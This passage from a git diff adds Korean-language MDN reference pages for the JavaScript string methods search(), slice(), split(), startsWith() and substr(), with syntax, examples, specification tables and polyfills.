+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/search/index.html b/files/ko/web/javascript/reference/global_objects/string/search/index.html
new file mode 100644
index 0000000000..3d27d812fc
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/search/index.html
@@ -0,0 +1,100 @@
+---
+title: String.prototype.search()
+slug: Web/JavaScript/Reference/Global_Objects/String/search
+translation_of: Web/JavaScript/Reference/Global_Objects/String/search
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>search()</code></strong> 메서드는 정규 표현식과  이 {{jsxref("String")}}  객체간에 같은 것을 찾기<br>
+ 위한 검색을 실행한다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-search.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.search(<var>regexp</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>정규 표현식 객체.  non-RegExp 객체 <code>obj</code> 가 전달되면,  그것은  <code>new RegExp(obj)</code> 을 이용하여 {{jsxref("RegExp")}} 으로 암묵적으로 변환된다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>정규표현식과 주어진 스트링간에 첫번째로 매치되는 것의 인덱스를 반환한다.<br>
+ 찾지 못하면 <strong>-1</strong> 를 반환한다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>When you want to know whether a pattern is found and also its index in a string use <code>search()</code> (if you only want to know if it exists, use the similar {{jsxref("RegExp.prototype.test()", "test()")}} method on the RegExp prototype, which returns a boolean); for more information (but slower execution) use {{jsxref("String.prototype.match()", "match()")}} (similar to the regular expression {{jsxref("RegExp.prototype.exec()", "exec()")}} method).</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="search()를_이용하기"><code>search()를 이용하기</code></h3>
+
+<p>The following example searches a string with 2 different regex objects to show a successful search (positive value) vs. an unsuccessful search (-1)</p>
+
+<pre class="brush: js">var str = "hey JudE";
+var re = /[A-Z]/g;
+var re2 = /[.]/g;
+console.log(str.search(re)); // returns 4, which is the index of the first capital letter "J"
+console.log(str.search(re2)); // returns -1 cannot find '.' dot punctuation</pre>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">사양</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.12', 'String.prototype.search')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.search', 'String.prototype.search')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.search', 'String.prototype.search')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.search")}}</p>
+
+<h2 id="Gecko-specific_notes">Gecko-specific notes</h2>
+
+<ul>
+ <li><code>flags</code> was a non standard second argument only available in Gecko : <var>str</var>.search(<var>regexp, flags</var>)</li>
+ <li>Prior to {{Gecko("8.0")}}, <code>search()</code> was implemented incorrectly; when it was called with no parameters or with {{jsxref("undefined")}}, it would match against the string 'undefined', instead of matching against the empty string. This is fixed; now <code>'a'.search()</code> and <code>'a'.search(undefined)</code> correctly return 0.</li>
+ <li>Starting with Gecko 39 {{geckoRelease(39)}}, the non-standard <code>flags</code> argument is deprecated and throws a console warning ({{bug(1142351)}}).</li>
+ <li>Starting with Gecko 47 {{geckoRelease(47)}}, the non-standard <code>flags</code> argument is no longer supported in non-release builds and will soon be removed entirely ({{bug(1245801)}}).</li>
+ <li>Starting with Gecko 49 {{geckoRelease(49)}}, the non-standard <code>flags</code> argument is no longer supported ({{bug(1108382)}}).</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/slice/index.html b/files/ko/web/javascript/reference/global_objects/string/slice/index.html
new file mode 100644
index 0000000000..3bd23ace3b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/slice/index.html
@@ -0,0 +1,129 @@
+---
+title: String.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/String/slice
+tags:
+ - 메소드
+ - 문자열
+ - 자바스크립트
+ - 프로토타입
+translation_of: Web/JavaScript/Reference/Global_Objects/String/slice
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>slice()</code></strong> 메소드는 문자열의 일부를 추출하면서 새로운 문자열을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/string-slice.html")}}</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate"><code><var>str</var>.slice(<var>beginIndex</var>[, <var>endIndex</var>])</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>beginIndex</code></dt>
+ <dd>추출 시작점인 0부터 시작하는 인덱스입니다. 만약 음수라면, beginIndex는  <code>strLength(문자열 길이) + beginIndex</code>로 취급됩니다. (예를 들어 <code>beginIndex</code>가 -3이면 시작점은 <code>strLength - 3</code>).</dd>
+ <dd>만약 <code>beginIndex</code>가 <code>strLength</code> 보다 크거나 같은 경우, <code>slice()</code>는 빈 문자열을 반환합니다.</dd>
+ <dt><code>endIndex</code>{{optional_inline}}</dt>
+ <dd>0부터 시작하는 추출 종료점 인덱스로 그 직전까지 추출됩니다.  인덱스 위치의 문자는 추출에 포함되지 않습니다.</dd>
+ <dd>만약 <code>endIndex</code>가 생략된다면, <code>silce()</code>는 문자열 마지막까지 추출합니다. 만약 음수라면, endIndex는 <code>strLength(문자열 길이) + endIndex</code> 로 취급됩니다(예를 들어 <code>endIndex</code>가 -3이면 종료점은 <code>strLength - 3</code>).</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>문자열의 추출된 부분을 담는 새로운 문자열이 반환됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>slice()</code>는 문자열로부터 텍스트를 추출하고 새 문자열을 반환합니다. 문자열의 변경은 다른 문자열에 영향을 미치지 않습니다.</p>
+
+<p><code>slice()</code>는 <code>endIndex</code>를 포함하지 않고 추출합니다. <code>str.slice(1, 4)</code>는 두 번째 문자부터 네 번째 문자까지 추출합니다 (1, 2, 3 인덱스 문자).</p>
+
+<p><code>str.slice(2, -1)</code>는 세 번째 문자부터 문자열의 마지막에서 두 번째 문자까지 추출합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="slice를_사용하여_새_문자열_생성하기"><code>slice()</code>를 사용하여 새 문자열 생성하기</h3>
+
+<p>아래 예시는 새 문자열을 생성하기 위해 <code>slice()</code>를 사용합니다.</p>
+
+<pre class="brush: js notranslate">var str1 = 'The morning is upon us.', // the length of str1 is 23.
+ str2 = str1.slice(1, 8),
+ str3 = str1.slice(4, -2),
+  str4 = str1.slice(12),
+ str5 = str1.slice(30);
+console.log(str2); // OUTPUT: he morn
+console.log(str3); // OUTPUT: morning is upon u
+console.log(str4); // OUTPUT: is upon us.
+console.log(str5); // OUTPUT: ""
+</pre>
+
+<h3 id="음수_인덱스로_slice_사용하기">음수 인덱스로 <code>slice()</code> 사용하기</h3>
+
+<p>아래 예시는 <code>slice()</code>에 음수 인덱스를 사용합니다.</p>
+
+<pre class="brush: js notranslate">var str = 'The morning is upon us.';
+str.slice(-3); // returns 'us.'
+str.slice(-3, -1); // returns 'us'
+str.slice(0, -1); // returns 'The morning is upon us'
+</pre>
+
+<p>아래의 예시는 시작 인덱스를 찾기 위해 문자열의 끝에서부터 역방향으로 <code>11</code>개를 세고 끝 인덱스를 찾기 위해 문자열의 시작에서부터 정방향으로 <code>16</code>개를 셉니다.</p>
+
+<pre class="brush: js notranslate"><code>console.log(str.slice(-11, 16)) // =&gt; "is u";</code></pre>
+
+<p>아래에서는 시작 인덱스를 찾기 위해 문자열의 처음부터 정방향으로 <code>11</code>개를 세고 끝 인덱스를 찾기 위해 끝에서부터 <code>7</code>개를 셉니다.</p>
+
+<pre class="brush: js notranslate"><code>console.log(str.slice(11, -7)) // =&gt; "is u";</code>
+</pre>
+
+<p>이 인수는 끝에서부터 5로 역순으로 계산하여 시작 인덱스를 찾은 다음 끝에서부터 1을 거쳐 끝 인덱스를 찾습니다.</p>
+
+<pre class="brush: js notranslate"><code>console.log(str.slice(-5, -1)) // =&gt; "n us";</code>
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.slice', 'String.prototype.slice')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.slice', 'String.prototype.slice')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.13', 'String.prototype.slice')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.2.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("javascript.builtins.String.slice")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+ <li>{{jsxref("String.prototype.substring()")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/split/index.html b/files/ko/web/javascript/reference/global_objects/string/split/index.html
new file mode 100644
index 0000000000..7100e55a50
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/split/index.html
@@ -0,0 +1,231 @@
+---
+title: String.prototype.split()
+slug: Web/JavaScript/Reference/Global_Objects/String/split
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/split
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>split()</code></strong> 메서드는 {{jsxref("String")}} 객체를 지정한 구분자를 이용하여 여러 개의 문자열로 나눕니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-split.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.split([<var>separator</var>[, <var>limit</var>]])</pre>
+
+<div class="warning">
+<p><strong>주의:</strong> 구분자로 빈 문자열(<code>""</code>)을 제공하면, 사용자가 인식하는 문자 하나(<a href="https://unicode.org/reports/tr29/#Grapheme_Cluster_Boundaries">grapheme cluster</a>) 또는 유니코드 문자(코드포인트) 하나씩으로 나누는 것이 아니라, UTF-16 코드유닛으로 나누게 되며 <a href="http://unicode.org/faq/utf_bom.html#utf16-2">써로게이트 페어</a><sup>surrogate pair</sup>가 망가질 수 있습니다. 스택 오버플로우의 <a href="https://stackoverflow.com/a/34717402">How do you get a string to a character array in JavaScript?</a> 질문도 참고해 보세요.</p>
+</div>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>separator</code> {{optional_inline}}</dt>
+ <dd>원본 문자열을 끊어야 할 부분을 나타내는 문자열을 나타냅니다. 실제 문자열이나 {{jsxref("Global_Objects/RegExp", "정규표현식", "", 1)}}을 받을 수 있습니다. 문자열 유형의 <code>separator</code>가 두 글자 이상일 경우 그 부분 문자열 전체가 일치해야 끊어집니다. <code>separator</code>가 생략되거나 <code>str</code>에 등장하지 않을 경우, 반환되는 배열은 원본 문자열을 유일한 원소로 가집니다. <code>separator</code>가 빈 문자열일 경우 <code>str</code>의 각각의 문자가 배열의 원소 하나씩으로 변환됩니다.</dd>
+ <dt><code>limit</code> {{optional_inline}}</dt>
+ <dd>
+ <p>끊어진 문자열의 최대 개수를 나타내는 정수입니다. 이 매개변수를 전달하면 split() 메서드는 주어진 <code>separator</code>가 등장할 때마다 문자열을 끊지만 배열의 원소가 <code>limit</code>개가 되면 멈춥니다. 지정된 한계에 도달하기 전에 문자열의 끝까지 탐색했을 경우 <code>limit</code>개 미만의 원소가 있을 수도 있습니다. 남은 문자열은 새로운 배열에 포함되지 않습니다.</p>
+ </dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>주어진 문자열을 <code>separator</code>마다 끊은 부분 문자열을 담은 {{jsxref("Array")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>문자열에서 <code>separator</code>가 등장하면 해당 부분은 삭제되고 남은 문자열이 배열로 반환됩니다. <code>separator</code>가 등장하지 않거나 생략되었을 경우 배열은 원본 문자열을 유일한 원소로 가집니다. <code>separator</code>가 빈 문자열일 경우, <code>str</code>은 문자열의 모든 문자를 원소로 가지는 배열로 변환됩니다. <code>separator</code>가 원본 문자열의 처음이나 끝에 등장할 경우 반환되는 배열도 빈 문자열로 시작하거나 끝납니다. 그러므로 원본 문자열에 <code>separator</code> 하나만이 포함되어 있을 경우 빈 문자열 두 개를 원소로 가지는 배열이 반환됩니다.</p>
+
+<p><code>separator</code>가 포획 괄호<sup>capturing parentheses</sup>를 포함하는 정규표현식일 경우, <code>separator</code>가 일치할 때마다 포획 괄호의 (정의되지 않은 경우도 포함한) 결과가 배열의 해당 위치에 포함됩니다.</p>
+
+<p>{{Note("<code>separator</code>가 배열일 경우 분할에 사용하기 전에 우선 문자열로 변환됩니다.")}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="split()_사용하기"><code>split()</code> 사용하기</h3>
+
+<p>{{Note("빈 문자열이 주어졌을 경우 <code>split()</code>은 빈 배열이 아니라 빈 문자열을 포함한 배열을 반환합니다. 문자열과 <code>separator</code>가 모두 빈 문자열일 때는 빈 배열을 반환합니다.")}}</p>
+
+<pre class="brush: js">const myString = '';
+const splits = myString.split();
+
+console.log(splits);
+
+// ↪ [""]
+</pre>
+
+<p>다음 예제에서는 문자열을 주어진 구분자로 끊는 함수를 정의합니다. 문자열을 끊은 다음에는 (끊기 이전의) 원본 문자열과 사용한 구분자, 배열의 길이와 각 원소를 로그로 출력합니다.</p>
+
+<pre class="brush: js">function splitString(stringToSplit, separator) {
+ var arrayOfStrings = stringToSplit.split(separator);
+
+ console.log('The original string is: "' + stringToSplit + '"');
+ console.log('The separator is: "' + separator + '"');
+ console.log('The array has ' + arrayOfStrings.length + ' elements: ' + arrayOfStrings.join(' / '));
+}
+
+var tempestString = 'Oh brave new world that has such people in it.';
+var monthString = 'Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec';
+
+var space = ' ';
+var comma = ',';
+
+splitString(tempestString, space);
+splitString(tempestString);
+splitString(monthString, comma);
+</pre>
+
+<p>위 예제의 출력은 다음과 같습니다.</p>
+
+<pre>The original string is: "Oh brave new world that has such people in it."
+The separator is: " "
+The array has 10 elements: Oh / brave / new / world / that / has / such / people / in / it.
+
+The original string is: "Oh brave new world that has such people in it."
+The separator is: "undefined"
+The array has 1 elements: Oh brave new world that has such people in it.
+
+The original string is: "Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec"
+The separator is: ","
+The array has 12 elements: Jan / Feb / Mar / Apr / May / Jun / Jul / Aug / Sep / Oct / Nov / Dec
+</pre>
+
+<h3 id="문자열에서_공백_제거하기">문자열에서 공백 제거하기</h3>
+
+<p>다음 예제에서 <code>split()</code>은 세미콜론 앞뒤에 각각 0개 이상의 공백이 있는 부분 문자열을 찾고, 있을 경우 문자열에서 세미콜론과 공백을 제거합니다. <code>split()</code>의 결과로 반환된 배열은  <code>nameList</code>에 저장됩니다.</p>
+
+<pre class="brush: js">var names = 'Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand ';
+
+console.log(names);
+
+var re = /\s*(?:;|$)\s*/;
+var nameList = names.split(re);
+
+console.log(nameList);
+</pre>
+
+<p>위 예제는 원본 문자열과 반환된 배열을 각각 한 줄씩 로그로 출력합니다.</p>
+
+<pre>Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand
+[ "Harry Trump", "Fred Barney", "Helen Rigby", "Bill Abel", "Chris Hand", "" ]
+</pre>
+
+<h3 id="끊는_횟수_제한하기">끊는 횟수 제한하기</h3>
+
+<p>다음 예제에서 <code>split()</code>은 문자열을 공백으로 끊고 처음 3개의 문자열을 반환합니다.</p>
+
+<pre class="brush: js">var myString = 'Hello World. How are you doing?';
+var splits = myString.split(' ', 3);
+
+console.log(splits);
+</pre>
+
+<p>위 예제의 로그 출력은 다음과 같습니다.</p>
+
+<pre>["Hello", "World.", "How"]
+</pre>
+
+<h3 id="RegExp를_사용해_구분자도_결과에_포함하기"><code>RegExp</code>를 사용해 구분자도 결과에 포함하기</h3>
+
+<p><code>separator</code>가 포획 괄호 <code>()</code>를 포함하는 정규표현식일 경우, 포획된 결과도 배열에 포함됩니다.</p>
+
+<pre class="brush: js">var myString = 'Hello 1 word. Sentence number 2.';
+var splits = myString.split(/(\d)/);
+
+console.log(splits);
+</pre>
+
+<p>위 예제의 로그 출력은 다음과 같습니다.</p>
+
+<pre>[ "Hello ", "1", " word. Sentence number ", "2", "." ]
+</pre>
+
+<h3 id="배열을_구분자로_사용하기">배열을 구분자로 사용하기</h3>
+
+<pre class="brush: js">var myString = 'this|is|a|Test';
+var splits = myString.split(['|']);
+
+console.log(splits); //["this", "is", "a", "Test"]
+
+var myString = 'ca,bc,a,bca,bca,bc';
+
+var splits = myString.split(['a','b']);
+// <em>myString.split(['a','b'])</em>은 <em>myString.split(String(['a','b']))</em>와 같다
+
+console.log(splits); //["c", "c,", "c", "c", "c"]
+</pre>
+
+<h3 id="split()으로_문자열_뒤집기"><code>split()</code>으로 문자열 뒤집기</h3>
+
+<div class="warning">
+<p>이 방법은 문자열 뒤집기에 효과적인 방법이 아닙니다.</p>
+
+<pre class="brush: js">var str = 'asdfghjkl';
+var strReverse = str.split('').reverse().join(''); // 'lkjhgfdsa'
+// split()에서 반환한 배열에는 reverse()와 join()을 사용할 수 있다
+</pre>
+
+<p>문자열에 grapheme clusters가 있을 경우, 유니코드 플래그를 설정해도 오류를 일으킵니다(<a href="https://github.com/mathiasbynens/esrever">esrever</a> 등의 라이브러리를 대신 사용하세요).</p>
+
+<pre class="brush: js">var str = 'résumé';
+var strReverse = str.split(/(?:)/u).reverse().join('');
+// =&gt; "́emuśer"
+</pre>
+
+<p><strong>추가:</strong> {{jsxref("Operators/Comparison_Operators", "===", "#Identity_strict_equality_(===)")}} 연산자를 사용하면 원본 문자열이 팰린드롬인지 확인할 수 있습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기 정의. JavaScript 1.1에 구현되었음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.5.4.14', 'String.prototype.split')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.split', 'String.prototype.split')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.split', 'String.prototype.split')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.split")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/startswith/index.html b/files/ko/web/javascript/reference/global_objects/string/startswith/index.html
new file mode 100644
index 0000000000..41eb064129
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/startswith/index.html
@@ -0,0 +1,95 @@
+---
+title: String.prototype.startsWith()
+slug: Web/JavaScript/Reference/Global_Objects/String/startsWith
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/startsWith
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>startsWith()</code></strong></span><span class="seoSummary"> 메소드는 어떤 문자열이 특정 문자로 시작하는지 확인하여 결과를 <code>true</code> 혹은 <code>false</code>로 반환합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.startsWith(<var>searchString</var>[, <var>position</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>searchString</code></dt>
+ <dd>문자열의 시작 지점에서 탐색할 문자열</dd>
+ <dt><code>position</code> {{optional_inline}}</dt>
+ <dd><code>searchString</code>을 탐색할 위치. 기본값 0.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>문자열이 검색 문자열로 시작하면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<h2 id="설명"><span style="display: none;"> </span><span style="display: none;"> </span>설명</h2>
+
+<p><code>startsWith</code> 메소드로 어떤 문자열이 다른 문자열로 시작하는지 확인 할 수 있습니다. 대소문자를 구분합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="startsWith()_사용하기"><code>startsWith()</code> 사용하기</h3>
+
+<pre class="brush: js">//startswith
+var str = 'To be, or not to be, that is the question.';
+
+console.log(str.startsWith('To be')); // true
+console.log(str.startsWith('not to be')); // false
+console.log(str.startsWith('not to be', 10)); // true
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>startsWith</code> 메소드는 ECMAScript 2015 명세에 포함됐으며, 아직까지 모든 JavaScrpt 구현체가 지원하지 않을 수 있습니다. 그러나 아래 코드 조각을 사용해 폴리필 할 수 있습니다.</p>
+
+<pre><code>if (!String.prototype.startsWith) {
+ String.prototype.startsWith = function(search, pos) {
+ return this.substr(!pos || pos &lt; 0 ? 0 : +pos, search.length) === search;
+ };
+}</code></pre>
+
+<p>ES2015 명세를 모두 만족하지만, 더 무거운 폴리필은 <a href="https://github.com/mathiasbynens/String.prototype.startsWith">Mathias Bynens의 GitHub</a> 에서 확인할 수 있습니다.</p>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-string.prototype.startswith', 'String.prototype.startsWith')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-string.prototype.startswith', 'String.prototype.startsWith')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.startsWith")}}</div>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.endsWith()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/substr/index.html b/files/ko/web/javascript/reference/global_objects/string/substr/index.html
new file mode 100644
index 0000000000..39fe5e126b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/substr/index.html
@@ -0,0 +1,131 @@
+---
+title: String.prototype.substr()
+slug: Web/JavaScript/Reference/Global_Objects/String/substr
+tags:
+ - Deprecated
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substr
+---
+<div>{{JSRef}}</div>
+
+<div> </div>
+
+<div class="warning">
+<p>경고: 엄밀히 말해서 <code>String.prototype.substr()</code> 메서드가 더 이상 사용되지 않는, 즉 "웹 표준에서 제거된" 건 아닙니다. 그러나 <code>substr()</code>이 포함된 ECMA-262 표준의 <a href="https://www.ecma-international.org/ecma-262/9.0/index.html#sec-additional-ecmascript-features-for-web-browsers">부록 B</a>는 다음과 같이 명시하고 있습니다.</p>
+
+<blockquote>… 본 부록이 포함한 모든 언어 기능과 행동은 하나 이상의 바람직하지 않은 특징을 갖고 있으며 사용처가 없어질 경우 명세에서 제거될 것입니다. …<br>
+… 프로그래머는 새로운 ECMAScript 코드를 작성할 때 본 부록이 포함한 기능을 사용하거나 존재함을 가정해선 안됩니다. …</blockquote>
+</div>
+
+<p><strong><code>substr()</code></strong> 메서드는 문자열에서 특정 위치에서 시작하여 특정 문자 수 만큼의 문자들을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/string-substr.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.substr(<var>start</var>[, <var>length</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>추출하고자 하는 문자들의 시작위치입니다. 만약 음수가 주어진다면, <code>문자열총길이 + start</code>의 값으로 취급합니다. 예를 들면, <code>start</code>에 -3을 설정하면, 자동적으로 <code>문자열총길이 - 3</code>으로 설정하게 됩니다. </dd>
+ <dt><code>length</code></dt>
+ <dd>옵션값. 추출할 문자들의 총 숫자.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>start</code>는 문자 인덱스입니다. 문자열에서 첫 번째 문자의 인덱스는 0이며, 마지막 문자의 인덱스는 문자열 전체 길이에서 1을 뺀 값입니다. <code>substr()</code>는<code> start</code>에서 문자들을 추출을 시작하여 <code>length</code>만큼 문자들을 수집합니다.</p>
+
+<p>만약 <code>start</code> 값이 양수이고 문자열 전체 길이보다 크거가 같을 경우, <code>substr()</code>은 빈 문자열을 반환합니다. </p>
+
+<p>만약 <code>start</code>가 음수이면, <code>substr()</code>은 문자열 끝에서 <code>start</code> 숫자만큼 뺀 곳에서 시작하게 됩니다. 만약 <code>start</code>가 음수이고 절대값이 문자열 전체보다 크다면, <code>substr()</code>은 문자열의 0 인덱스부터 시작하게 됩니다. (주의: <code>start</code>의 음수값은 Microsoft JScript에서는 위의 설명과 같이 동작하지 않습니다.)</p>
+
+<p>만약 <code>length</code>가 0 혹은 음수이면, <code>substr()</code>은 빈 문자열을 반환합니다. 만약 <code>length</code>가 생략되면, <code>substr()</code>은 문자열의 끝까지 추출하여 반환합니다. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="substr()_사용하기"><code>substr()</code> 사용하기</h3>
+
+<pre class="brush: js">var str = 'abcdefghij';
+
+console.log('(1, 2): ' + str.substr(1, 2)); // '(1, 2): bc'
+console.log('(-3, 2): ' + str.substr(-3, 2)); // '(-3, 2): hi'
+console.log('(-3): ' + str.substr(-3)); // '(-3): hij'
+console.log('(1): ' + str.substr(1)); // '(1): bcdefghij'
+console.log('(-20, 2): ' + str.substr(-20, 2)); // '(-20, 2): ab'
+console.log('(20, 2): ' + str.substr(20, 2)); // '(20, 2): '
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>Microsoft의 JScript는 시작 인덱스에서 음수값을 지원하지 않습니다. 만약 여러분이 이렇게 동작하길 원한다면, 아래 코드를 사용하여 해결할 수 있습니다: </p>
+
+<pre class="brush: js">// only run when the substr() function is broken
+if ('ab'.substr(-1) != 'b') {
+ /**
+ * Get the substring of a string
+ * @param {integer} start where to start the substring
+ * @param {integer} length how many characters to return
+ * @return {string}
+ */
+ String.prototype.substr = function(substr) {
+ return function(start, length) {
+ // call the original method
+ return substr.call(this,
+ // did we get a negative start, calculate how much it is from the beginning of the string
+ // adjust the start parameter for negative value
+ start &lt; 0 ? this.length + start : start,
+ length)
+ }
+ }(String.prototype.substr);
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
